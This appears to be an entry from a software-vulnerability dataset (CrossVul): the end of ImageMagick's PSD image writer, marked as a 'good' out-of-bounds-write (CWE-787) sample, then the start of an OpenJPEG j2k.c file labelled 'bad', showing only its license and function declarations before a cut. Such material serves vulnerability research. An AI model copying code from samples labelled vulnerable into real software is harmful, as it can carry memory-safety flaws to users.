(void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */ (void) WriteBlobMSBShort(image,units); /* height unit */ } static inline size_t WriteChannelSize(const PSDInfo *psd_info,Image *image, const signed short channel) { size_t count; count=WriteBlobMSBSignedShort(image,channel); count+=SetPSDSize(psd_info,image,0); return(count); } static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (id == 0x0000040f) { ssize_t quantum; quantum=PSDQuantum(count)+12; if ((quantum >= 12) && (quantum < (ssize_t) length)) { if ((q+quantum < (datum+length-16))) (void) CopyMagickMemory(q,q+quantum,length-quantum-(q-datum)); SetStringInfoLength(bim_profile,length-quantum); } break; } p+=count; if ((count & 0x01) != 0) p++; } } static void RemoveResolutionFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; ssize_t cnt; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) return; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); cnt=PSDQuantum(count); if (cnt < 0) return; if ((id == 0x000003ed) && (cnt < (ssize_t) (length-12))) { (void) CopyMagickMemory(q,q+cnt+12,length-(cnt+12)-(q-datum)); SetStringInfoLength(bim_profile,length-(cnt+12)); break; } p+=count; if ((count & 0x01) != 0) p++; } } static const StringInfo *GetAdditionalInformation(const ImageInfo *image_info, Image *image) { #define PSDKeySize 5 #define PSDAllowedLength 36 char key[PSDKeySize]; /* Whitelist of keys from: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/ */ const char allowed[PSDAllowedLength][PSDKeySize] = { "blnc", "blwh", "brit", "brst", "clbl", "clrL", "curv", "expA", "FMsk", "GdFl", "grdm", "hue ", "hue2", "infx", "knko", "lclr", "levl", "lnsr", "lfx2", "luni", "lrFX", "lspf", "lyid", "lyvr", "mixr", "nvrt", "phfl", "post", "PtFl", "selc", "shpa", "sn2P", "SoCo", "thrs", "tsly", "vibA" }, *option; const StringInfo *info; MagickBooleanType found; register size_t i; size_t remaining_length, length; StringInfo *profile; unsigned char *p; unsigned int size; info=GetImageProfile(image,"psd:additional-info"); if (info == (const StringInfo *) NULL) return((const StringInfo *) NULL); option=GetImageOption(image_info,"psd:additional-info"); if (LocaleCompare(option,"all") == 0) return(info); if (LocaleCompare(option,"selective") != 0) { profile=RemoveImageProfile(image,"psd:additional-info"); return(DestroyStringInfo(profile)); } length=GetStringInfoLength(info); p=GetStringInfoDatum(info); remaining_length=length; length=0; while (remaining_length >= 12) { /* skip over signature */ p+=4; key[0]=(*p++); key[1]=(*p++); key[2]=(*p++); key[3]=(*p++); key[4]='\0'; size=(unsigned int) (*p++) << 24; size|=(unsigned int) (*p++) << 16; size|=(unsigned int) (*p++) << 8; size|=(unsigned int) (*p++); size=size & 0xffffffff; remaining_length-=12; if ((size_t) size > remaining_length) return((const StringInfo *) NULL); found=MagickFalse; for (i=0; i < PSDAllowedLength; i++) { if (LocaleNCompare(key,allowed[i],PSDKeySize) != 0) continue; found=MagickTrue; break; } remaining_length-=(size_t) size; if (found == MagickFalse) { if (remaining_length > 0) p=(unsigned char *) CopyMagickMemory(p-12,p+size,remaining_length); continue; } length+=(size_t) size+12; p+=size; } profile=RemoveImageProfile(image,"psd:additional-info"); if (length == 0) return(DestroyStringInfo(profile)); SetStringInfoLength(profile,(const size_t) length); SetImageProfile(image,"psd:additional-info",info); return(profile); } static MagickBooleanType WritePSDImage(const ImageInfo *image_info, Image *image) { char layer_name[MaxTextExtent]; const char *property; const StringInfo *icc_profile, *info; Image *base_image, *next_image; MagickBooleanType status; MagickOffsetType *layer_size_offsets, size_offset; PSDInfo psd_info; register ssize_t i; size_t layer_count, layer_index, length, name_length, num_channels, packet_size, rounded_size, size; StringInfo *bim_profile; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); packet_size=(size_t) (image->depth > 8 ? 6 : 3); if (image->matte != MagickFalse) packet_size+=image->depth > 8 ? 2 : 1; psd_info.version=1; if ((LocaleCompare(image_info->magick,"PSB") == 0) || (image->columns > 30000) || (image->rows > 30000)) psd_info.version=2; (void) WriteBlob(image,4,(const unsigned char *) "8BPS"); (void) WriteBlobMSBShort(image,psd_info.version); /* version */ for (i=1; i <= 6; i++) (void) WriteBlobByte(image, 0); /* 6 bytes of reserved */ if (SetImageGray(image,&image->exception) != MagickFalse) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else if ((image_info->type != TrueColorType) && (image_info->type != TrueColorMatteType) && (image->storage_class == PseudoClass)) num_channels=(image->matte != MagickFalse ? 2UL : 1UL); else { if (image->storage_class == PseudoClass) (void) SetImageStorageClass(image,DirectClass); if (image->colorspace != CMYKColorspace) num_channels=(image->matte != MagickFalse ? 4UL : 3UL); else num_channels=(image->matte != MagickFalse ? 5UL : 4UL); } (void) WriteBlobMSBShort(image,(unsigned short) num_channels); (void) WriteBlobMSBLong(image,(unsigned int) image->rows); (void) WriteBlobMSBLong(image,(unsigned int) image->columns); if (IsGrayImage(image,&image->exception) != MagickFalse) { MagickBooleanType monochrome; /* Write depth & mode. */ monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? 1 : image->depth > 8 ? 16 : 8)); (void) WriteBlobMSBShort(image,(unsigned short) (monochrome != MagickFalse ? BitmapMode : GrayscaleMode)); } else { (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? 8 : image->depth > 8 ? 16 : 8)); if (((image_info->colorspace != UndefinedColorspace) || (image->colorspace != CMYKColorspace)) && (image_info->colorspace != CMYKColorspace)) { (void) TransformImageColorspace(image,sRGBColorspace); (void) WriteBlobMSBShort(image,(unsigned short) (image->storage_class == PseudoClass ? IndexedMode : RGBMode)); } else { if (image->colorspace != CMYKColorspace) (void) TransformImageColorspace(image,CMYKColorspace); (void) WriteBlobMSBShort(image,CMYKMode); } } if ((IsGrayImage(image,&image->exception) != MagickFalse) || (image->storage_class == DirectClass) || (image->colors > 256)) (void) WriteBlobMSBLong(image,0); else { /* Write PSD raster colormap. */ (void) WriteBlobMSBLong(image,768); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].red)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar( image->colormap[i].green)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); for (i=0; i < (ssize_t) image->colors; i++) (void) WriteBlobByte(image,ScaleQuantumToChar(image->colormap[i].blue)); for ( ; i < 256; i++) (void) WriteBlobByte(image,0); } /* Image resource block. */ length=28; /* 0x03EB */ bim_profile=(StringInfo *) GetImageProfile(image,"8bim"); icc_profile=GetImageProfile(image,"icc"); if (bim_profile != (StringInfo *) NULL) { bim_profile=CloneStringInfo(bim_profile); if (icc_profile != (StringInfo *) NULL) RemoveICCProfileFromResourceBlock(bim_profile); RemoveResolutionFromResourceBlock(bim_profile); length+=PSDQuantum(GetStringInfoLength(bim_profile)); } if (icc_profile != (const StringInfo *) NULL) length+=PSDQuantum(GetStringInfoLength(icc_profile))+12; (void) WriteBlobMSBLong(image,(unsigned int) length); WriteResolutionResourceBlock(image); if (bim_profile != (StringInfo *) NULL) { (void) WriteBlob(image,GetStringInfoLength(bim_profile), GetStringInfoDatum(bim_profile)); bim_profile=DestroyStringInfo(bim_profile); } if (icc_profile != (StringInfo *) NULL) { (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x0000040F); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,(unsigned int) GetStringInfoLength( icc_profile)); (void) WriteBlob(image,GetStringInfoLength(icc_profile), GetStringInfoDatum(icc_profile)); if ((MagickOffsetType) GetStringInfoLength(icc_profile) != PSDQuantum(GetStringInfoLength(icc_profile))) (void) WriteBlobByte(image,0); } base_image=GetNextImageInList(image); if (base_image == (Image *)NULL) base_image=image; size=0; size_offset=TellBlob(image); SetPSDSize(&psd_info,image,0); SetPSDSize(&psd_info,image,0); layer_count=0; for (next_image=base_image; next_image != NULL; ) { layer_count++; next_image=GetNextImageInList(next_image); } if (image->matte != MagickFalse) size+=WriteBlobMSBShort(image,-(unsigned short) layer_count); else size+=WriteBlobMSBShort(image,(unsigned short) layer_count); layer_size_offsets=(MagickOffsetType *) AcquireQuantumMemory( (size_t) layer_count,sizeof(MagickOffsetType)); if (layer_size_offsets == (MagickOffsetType *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); layer_index=0; for (next_image=base_image; next_image != NULL; ) { Image *mask; unsigned char default_color; unsigned short channels, total_channels; mask=(Image *) NULL; property=GetImageArtifact(next_image,"psd:opacity-mask"); default_color=0; if (property != (const char *) NULL) { mask=(Image *) GetImageRegistry(ImageRegistryType,property, &image->exception); default_color=strlen(property) == 9 ? 255 : 0; } size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.y); size+=WriteBlobMSBLong(image,(unsigned int) next_image->page.x); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.y+ next_image->rows)); size+=WriteBlobMSBLong(image,(unsigned int) (next_image->page.x+ next_image->columns)); channels=1U; if ((next_image->storage_class != PseudoClass) && (IsGrayImage(next_image,&next_image->exception) == MagickFalse)) channels=next_image->colorspace == CMYKColorspace ? 4U : 3U; total_channels=channels; if (next_image->matte != MagickFalse) total_channels++; if (mask != (Image *) NULL) total_channels++; size+=WriteBlobMSBShort(image,total_channels); layer_size_offsets[layer_index++]=TellBlob(image); for (i=0; i < (ssize_t) channels; i++) size+=WriteChannelSize(&psd_info,image,(signed short) i); if (next_image->matte != MagickFalse) size+=WriteChannelSize(&psd_info,image,-1); if (mask != (Image *) NULL) size+=WriteChannelSize(&psd_info,image,-2); size+=WriteBlob(image,4,(const unsigned char *) "8BIM"); size+=WriteBlob(image,4,(const unsigned char *) CompositeOperatorToPSDBlendMode(next_image->compose)); property=GetImageArtifact(next_image,"psd:layer.opacity"); if (property != (const char *) NULL) { Quantum opacity; opacity=(Quantum) StringToInteger(property); size+=WriteBlobByte(image,ScaleQuantumToChar(opacity)); (void) ApplyPSDLayerOpacity(next_image,opacity,MagickTrue, &image->exception); } else size+=WriteBlobByte(image,255); size+=WriteBlobByte(image,0); size+=WriteBlobByte(image,next_image->compose==NoCompositeOp ? 1 << 0x02 : 1); /* layer properties - visible, etc. */ size+=WriteBlobByte(image,0); info=GetAdditionalInformation(image_info,next_image); property=(const char *) GetImageProperty(next_image,"label"); if (property == (const char *) NULL) { (void) FormatLocaleString(layer_name,MaxTextExtent,"L%.20g", (double) layer_index); property=layer_name; } name_length=strlen(property)+1; if ((name_length % 4) != 0) name_length+=(4-(name_length % 4)); if (info != (const StringInfo *) NULL) name_length+=GetStringInfoLength(info); name_length+=8; if (mask != (Image *) NULL) name_length+=20; size+=WriteBlobMSBLong(image,(unsigned int) name_length); if (mask == (Image *) NULL) size+=WriteBlobMSBLong(image,0); else { if (mask->compose != NoCompositeOp) (void) ApplyPSDOpacityMask(next_image,mask,ScaleCharToQuantum( default_color),MagickTrue,&image->exception); mask->page.y+=image->page.y; mask->page.x+=image->page.x; size+=WriteBlobMSBLong(image,20); size+=WriteBlobMSBSignedLong(image,mask->page.y); size+=WriteBlobMSBSignedLong(image,mask->page.x); size+=WriteBlobMSBLong(image,mask->rows+mask->page.y); size+=WriteBlobMSBLong(image,mask->columns+mask->page.x); size+=WriteBlobByte(image,default_color); size+=WriteBlobByte(image,mask->compose == NoCompositeOp ? 2 : 0); size+=WriteBlobMSBShort(image,0); } size+=WriteBlobMSBLong(image,0); size+=WritePascalString(image,property,4); if (info != (const StringInfo *) NULL) size+=WriteBlob(image,GetStringInfoLength(info), GetStringInfoDatum(info)); next_image=GetNextImageInList(next_image); } /* Now the image data! */ next_image=base_image; layer_index=0; while (next_image != NULL) { length=WritePSDChannels(&psd_info,image_info,image,next_image, layer_size_offsets[layer_index++],MagickTrue); if (length == 0) { status=MagickFalse; break; } size+=length; next_image=GetNextImageInList(next_image); } (void) WriteBlobMSBLong(image,0); /* user mask data */ /* Remove the opacity mask from the registry */ next_image=base_image; while (next_image != (Image *) NULL) { property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) DeleteImageRegistry(property); next_image=GetNextImageInList(next_image); } /* Write the total size */ size_offset+=WritePSDSize(&psd_info,image,size+ (psd_info.version == 1 ? 8 : 16),size_offset); if ((size/2) != ((size+1)/2)) rounded_size=size+1; else rounded_size=size; (void) WritePSDSize(&psd_info,image,rounded_size,size_offset); layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory( layer_size_offsets); /* Write composite image. */ if (status != MagickFalse) { CompressionType compression; compression=image->compression; if (image->compression == ZipCompression) image->compression=RLECompression; if (WritePSDChannels(&psd_info,image_info,image,image,0, MagickFalse) == 0) status=MagickFalse; image->compression=compression; } (void) CloseBlob(image); return(status); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3105_0
crossvul-cpp_data_bad_2758_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2008, Jerome Fimes, Communications & Systemes <jerome.fimes@c-s.fr> * Copyright (c) 2006-2007, Parvatha Elangovan * Copyright (c) 2010-2011, Kaori Hagihara * Copyright (c) 2011-2012, Centre National d'Etudes Spatiales (CNES), France * Copyright (c) 2012, CS Systemes d'Information, France * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_includes.h" /** @defgroup J2K J2K - JPEG-2000 codestream reader/writer */ /*@{*/ /** @name Local static functions */ /*@{*/ #define OPJ_UNUSED(x) (void)x /** * Sets up the procedures to do on reading header. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_header_reading(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * The read header procedure. */ static OPJ_BOOL opj_j2k_read_header_procedure(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * The default encoding validation procedure without any extension. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_encoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * The default decoding validation procedure without any extension. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_decoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_encoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_decoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_end_compress(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * The mct encoding validation procedure. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_mct_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Builds the tcd decoder to use to decode tile. */ static OPJ_BOOL opj_j2k_build_decoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Builds the tcd encoder to use to encode tile. */ static OPJ_BOOL opj_j2k_build_encoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Creates a tile-coder decoder. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_create_tcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Excutes the given procedures on the given codec. * * @param p_procedure_list the list of procedures to execute * @param p_j2k the jpeg2000 codec to execute the procedures on. * @param p_stream the stream to execute the procedures on. * @param p_manager the user manager. * * @return true if all the procedures were successfully executed. */ static OPJ_BOOL opj_j2k_exec(opj_j2k_t * p_j2k, opj_procedure_list_t * p_procedure_list, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Updates the rates of the tcp. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_update_rates(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Copies the decoding tile parameters onto all the tile parameters. * Creates also the tile decoder. */ static OPJ_BOOL opj_j2k_copy_default_tcp_and_create_tcd(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Destroys the memory associated with the decoding of headers. */ static OPJ_BOOL opj_j2k_destroy_header_memory(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads the lookup table containing all the marker, status and action, and returns the handler associated * with the marker value. * @param p_id Marker value to look up * * @return the handler associated with the id. */ static const struct opj_dec_memory_marker_handler * opj_j2k_get_marker_handler( OPJ_UINT32 p_id); /** * Destroys a tile coding parameter structure. * * @param p_tcp the tile coding parameter to destroy. */ static void opj_j2k_tcp_destroy(opj_tcp_t *p_tcp); /** * Destroys the data inside a tile coding parameter structure. * * @param p_tcp the tile coding parameter which contain data to destroy. */ static void opj_j2k_tcp_data_destroy(opj_tcp_t *p_tcp); /** * Destroys a coding parameter structure. * * @param p_cp the coding parameter to destroy. */ static void opj_j2k_cp_destroy(opj_cp_t *p_cp); /** * Compare 2 a SPCod/ SPCoc elements, i.e. the coding style of a given component of a tile. * * @param p_j2k J2K codec. * @param p_tile_no Tile number * @param p_first_comp_no The 1st component number to compare. * @param p_second_comp_no The 1st component number to compare. * * @return OPJ_TRUE if SPCdod are equals. */ static OPJ_BOOL opj_j2k_compare_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes a SPCod or SPCoc element, i.e. the coding style of a given component of a tile. * * @param p_j2k J2K codec. * @param p_tile_no FIXME DOC * @param p_comp_no the component number to output. * @param p_data FIXME DOC * @param p_header_size FIXME DOC * @param p_manager the user event manager. * * @return FIXME DOC */ static OPJ_BOOL opj_j2k_write_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Gets the size taken by writing a SPCod or SPCoc for the given tile and component. * * @param p_j2k the J2K codec. * @param p_tile_no the tile index. * @param p_comp_no the component being outputted. * * @return the number of bytes taken by the SPCod element. */ static OPJ_UINT32 opj_j2k_get_SPCod_SPCoc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no); /** * Reads a SPCod or SPCoc element, i.e. the coding style of a given component of a tile. * @param p_j2k the jpeg2000 codec. * @param compno FIXME DOC * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Gets the size taken by writing SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_tile_no the tile index. * @param p_comp_no the component being outputted. * @param p_j2k the J2K codec. * * @return the number of bytes taken by the SPCod element. */ static OPJ_UINT32 opj_j2k_get_SQcd_SQcc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no); /** * Compares 2 SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_j2k J2K codec. * @param p_tile_no the tile to output. * @param p_first_comp_no the first component number to compare. * @param p_second_comp_no the second component number to compare. * * @return OPJ_TRUE if equals. */ static OPJ_BOOL opj_j2k_compare_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes a SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_tile_no the tile to output. * @param p_comp_no the component number to output. * @param p_data the data buffer. * @param p_header_size pointer to the size of the data buffer, it is changed by the function. * @param p_j2k J2K codec. * @param p_manager the user event manager. * */ static OPJ_BOOL opj_j2k_write_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Updates the Tile Length Marker. */ static void opj_j2k_update_tlm(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_part_size); /** * Reads a SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_j2k J2K codec. * @param compno the component number to output. * @param p_header_data the data buffer. * @param p_header_size pointer to the size of the data buffer, it is changed by the function. * @param p_manager the user event manager. * */ static OPJ_BOOL opj_j2k_read_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Copies the tile component parameters of all the component from the first tile component. * * @param p_j2k the J2k codec. */ static void opj_j2k_copy_tile_component_parameters(opj_j2k_t *p_j2k); /** * Copies the tile quantization parameters of all the component from the first tile component. * * @param p_j2k the J2k codec. */ static void opj_j2k_copy_tile_quantization_parameters(opj_j2k_t *p_j2k); /** * Reads the tiles. */ static OPJ_BOOL opj_j2k_decode_tiles(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_pre_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_update_image_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data, opj_image_t* p_output_image); static void opj_get_tile_dimensions(opj_image_t * l_image, opj_tcd_tilecomp_t * l_tilec, opj_image_comp_t * l_img_comp, OPJ_UINT32* l_size_comp, OPJ_UINT32* l_width, OPJ_UINT32* l_height, OPJ_UINT32* l_offset_x, OPJ_UINT32* l_offset_y, OPJ_UINT32* l_image_width, OPJ_UINT32* l_stride, OPJ_UINT32* l_tile_offset); static void opj_j2k_get_tile_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data); static OPJ_BOOL opj_j2k_post_write_tile(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Sets up the procedures to do on writing header. * Developers wanting to extend the library can add their own writing procedures. */ static OPJ_BOOL opj_j2k_setup_header_writing(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager); static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager); /** * Gets the offset of the header. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_get_end_header(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_allocate_tile_element_cstr_index(opj_j2k_t *p_j2k); /* * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- */ /** * Writes the SOC marker (Start Of Codestream) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SOC marker (Start of Codestream) * @param p_j2k the jpeg2000 file codec. * @param p_stream XXX needs data * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the SIZ marker (image and tile size) * * @param p_j2k J2K codec. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_siz(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SIZ marker (image and tile size) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the SIZ box. * @param p_header_size the size of the data contained in the SIZ marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_siz(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the COM marker (comment) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_com(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a COM marker (comments) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_com(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the COD marker (Coding style default) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_cod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a COD marker (Coding Styke defaults) * @param p_header_data the data contained in the COD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cod(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Compares 2 COC markers (Coding style component) * * @param 